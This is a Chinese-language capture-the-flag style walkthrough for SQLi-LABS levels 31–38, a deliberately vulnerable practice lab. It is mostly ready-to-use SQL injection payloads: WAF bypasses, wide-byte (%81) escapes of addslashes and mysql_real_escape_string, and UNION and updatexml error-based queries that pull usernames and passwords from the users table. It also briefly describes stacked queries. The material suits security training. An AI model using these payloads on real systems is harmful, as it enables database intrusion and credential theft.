SQL注入SQLi-LABS 靶场less31-38详细通关攻略
less-31 GET -Blind -IMPIDENCE MISMATCH -Having a WAF in front of web application
一、判断闭合方式
查看源代码可得
?id=1&id=1 ") ;%00
二、构造语句数据库名称
?id=1&id=-1")%0aunion%0aselect%0a1,database(),3;%00
三、构造语句数据表名称
?id=1&id=-1")%0aunion%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
四、构造语句查询列名称
?id=1&id=-1")%0aunion%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00
五、构造语句查询数据信息
?id=1&id=-1")%0Aunion%0Aselect%0A1,group_concat(username,password),3%0Afrom%0Ausers;%00
less-32 GET -Bypass -custom filter adding slashes to dangerous chars
一、判断闭合方式
1%81%27%20and%201=1--+
1%81%27%20and%201=2--+
二、判断注入方式
判断闭合方式时,下列输出有反斜杠进行转义,所以我们怎么尝试单引号和双引号都不行,要先对反斜杠进行转义,添加%81。使用宽字节注入和联合注入。
三、构造语句数据库名称
-1%81' union select 1,database(),3 --+
四、构造语句数据表名称
-1%81' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
五、构造语句字段名
-1%81' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
六、查询数据信息
-1%81' union select 1,group_concat(username,password),3 from users --+
less-33 GET -Bypass AddSlashes
一、判断闭合方式
1%81' and 1=1 --+
1%81' and 1=2 --+
二、判断注入方式
输入危险字符会有反斜杠进行转义,使用宽字节注入,%81宽字节注入可以成功利用,并根据回显信息可以知道存在报错注入。该关使用报错注入和宽字节注入的方式获取数据
三、构造语句数据库名称
0%81' and updatexml(1,concat(1,database()),3) --+
四、构造语句数据表名称
数据库名直接使用无法找到,使用相关函数确定数据库名称。
0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+
五、构造语句字段名
users无法使用会报错可以使用十六进制编码代替。
0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+
六、查询数据信息
0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+
Less 34 POST - Bypass AddSlashes
一、判断注入方式
该关卡使用的POST请求传参需要我们抓包更改数据。添加特殊敏感符号会进行反斜杠转义,使用宽字节注入使反斜杠失效,可以成功逃逸并且可以得出存在报错注入。
二、构造语句数据库名称
0%81' and updatexml(1,concat(1,database()),3) --+
三、构造语句数据表名称
0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+
四、构造语句字段名
0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+
五、查询数据信息
0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+
Less 35 GET Bypass Add Slashes(we dont need them)integer based
一、判断闭合方式
1 and 1=1 --+
二、判断注入方式
根据判断出来的闭合方式为数字型,在尝试闭合方式时存在报错注入的条件可以使用报错注入进行信息的获取
三、构造语句数据库名称
0 and updatexml(1,concat(1,database()),3) --+
四、构造语句数据表名称
0 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+
五、构造语句字段名
0 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+
六、查询数据信息
0 and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+
Less 36 GET -Bypass MySQL_real_escape_string
一、判断闭合方式
1%81' and 1=1 --+
1%81' and 1=2 --+
二、判断注入方式
尝试闭合方式是存在报错注入前提,使用宽字节注入和报错注入联合。
三、构造语句数据库名称
0%81' and updatexml(1,concat(1,database()),3) --+
四、构造语句数据表名称
0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+
五、构造语句字段名
0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+
六、查询数据信息
0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+
Less 37 POST -Bypass MySQL-real_escape_string
一、判断注入方式
POST传参,在登录时使用BP进行抓包发送到重放器,修改username字段判断怎么利用。使用特殊字符会被反斜杠转义,%81进行逃逸。并且页面存在报错注入的使用条件,宽字节注入与报错注入联合使用。
二、构造语句数据库名称
0%81' and updatexml(1,concat(1,database()),3) --+
三、构造语句数据表名称
0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+
四、构造语句字段名
0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+
五、查询数据信息
0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+
Less 38 Stacked Query
一、判断闭合方式
1%81' and 1=1 --+
1%81' and 1=2 --+
二、判断注入方式
这一关为堆叠注入,格式为 第一条语句;第二条语句。这两条为单独的sql语句那么这两天语句均可执行。可以进行增删改的操作。
其他的信息获取语句与前面的报错注入一样就不赘述了。